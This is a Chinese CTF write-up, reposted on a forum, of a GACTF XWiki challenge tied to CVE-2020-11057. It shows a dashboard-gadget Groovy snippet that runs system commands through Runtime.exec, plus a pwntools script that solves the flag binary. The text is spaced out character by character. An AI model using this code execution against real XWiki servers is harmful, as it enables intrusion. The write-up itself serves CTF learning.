搜索

[2153] 2020-09-21_GACTF之XWiki

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2020-09-21_GACTF之XWiki G A C T F 之 X W i k i 原 创   s u a n v e   E D I 安 全   2 0 2 0 - 0 9 - 2 1 收 录 于 话 题   # C T F - W r i t e t u p   , 9 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 地 址 h t t p s : / / j i r a . x w i k i . o r g / b r o w s e / X W I K I - 1 6 9 6 0 h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 2 0 - 1 1 0 5 7 0 2 审 计 注 册 一 个 用 户 登 录 在 后 台 d a s h b o a r d 添 加 g a d g e t 0 3 获 取 根 目 录 文 件 r   =   R u n t i m e . g e t R u n t i m e ( ) p r o c   =   r . e x e c ( ' d i r   / ' ) ; B u f f e r e d R e a d e r   s t d I n p u t 1   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( p r o c . g e t I n p u t S t r e a m ( ) ) ) ; S t r i n g   s 1   =   n u l l ; w h i l e   ( ( s 1   =   s t d I n p u t 1 . r e a d L i n e ( ) )   ! =   n u l l )   {   p r i n t   s 1 ;   }
0 4 解 码 发 现 r e a d f l a g 使 用 b a s e 6 4 编 码 拿 出 文 件
0 5 结 果 活 脱 脱 一 个 小 游 戏   懒 得 看 算 法 了
f r o m   p w n   i m p o r t   * i m p o r t   r e c o n t e x t . l o g _ l e v e l   =   ' D E B U G ' i o   =   p r o c e s s ( " . / r e a d f l a g " ) f l a g   =   " " f o r   i   i n   r a n g e ( 4 6 4 ) :         i o . r e c v u n t i l ( " b i g g e r ? " )         s   =   i o . r e c v u n t i l ( " n " )         t   =   r e . f i n d a l l ( " ( d . * )   :   ( d . * ) " , s ) [ 0 ]         p r i n t ( t )         i f   i n t ( t [ 0 ] ) > i n t ( t [ 1 ] ) :                 i o . s e n d l i n e ( " 0 " )                 f l a g   + =   " 0 "         e l s e :                 i o . s e n d l i n e ( " 1 " )                 f l a g   + =   " 1 " i o . c l o s e ( ) #   i o . i n t e r a c t i v e ( ) p r i n t ( f l a g )
更 多 C T F - W r i e t u p   请 关 注 E D I 安 全 ！ E D I 安 全 的 C T F 战 队 经 常 参 与 各 大 C T F 比 赛 ， 了 解 C T F 赛 事 ， 我 们 在 为 打 造 安 全 圈 好 的 技 术 氛 围 而 努 力 ， 这 里 绝 对 是 你 学 习 技 术 的 好 地 方 。 这 里 门 槛 不 是 很 高 ， 但 师 傅 们 经 验 丰 富 ， 可 以 带 着 你 一 起 从 基 础 开 始 ， 只 要 你 有 持 之 以 恒 努 力 的 决 心 ， 下 一 个 C T F 大 牛 就 是 你 。 欢 迎 各 位 大 佬 小 白 入 驻 ， 大 家 一 起 打 C T F ， 一 起 进 步 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理